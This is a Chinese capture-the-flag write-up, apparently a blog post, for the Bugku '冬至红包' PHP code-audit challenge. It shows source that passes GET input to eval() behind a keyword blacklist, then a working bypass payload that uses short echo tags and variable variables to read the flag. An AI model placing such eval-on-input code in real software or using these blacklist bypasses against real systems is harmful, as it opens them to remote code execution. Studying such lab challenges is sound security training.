Bugku:冬至红包

这题是一题代码审计

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

第一个判断

if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }

要求我们利用get来传入flag。

第二个判断

else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }

要求我们传入的flag与exam一样长
点击click here可以得到关于长度的提示?flag=return’30c0039cc0a2ca757d3e48d20821727f43be1c14‘;
第三个判断

 else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }

过滤了一堆的字符但是存在一个$_GET['flag'],可以被利用在任意代码执行上。
尝试构造一个payload

?flag=$a='fla*';$a{3}='g';?>11111111111111111;<?=$$a;?>

得到flag
在这里插入图片描述
这题的payload利用了php短标签<?=可以替代<?echo
然后$$a这个利用了php的可变变量。

<?php
     $a = "hello";      //声明一个不同的变量 $a 值为 hello
     $$a = "world";     //声明一个可变变量 $$a,相当于 $hello 的值是 world
 	 echo "$a $hello";  //输出 hello world

{}可以替代[]在数组中。

评论 6
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值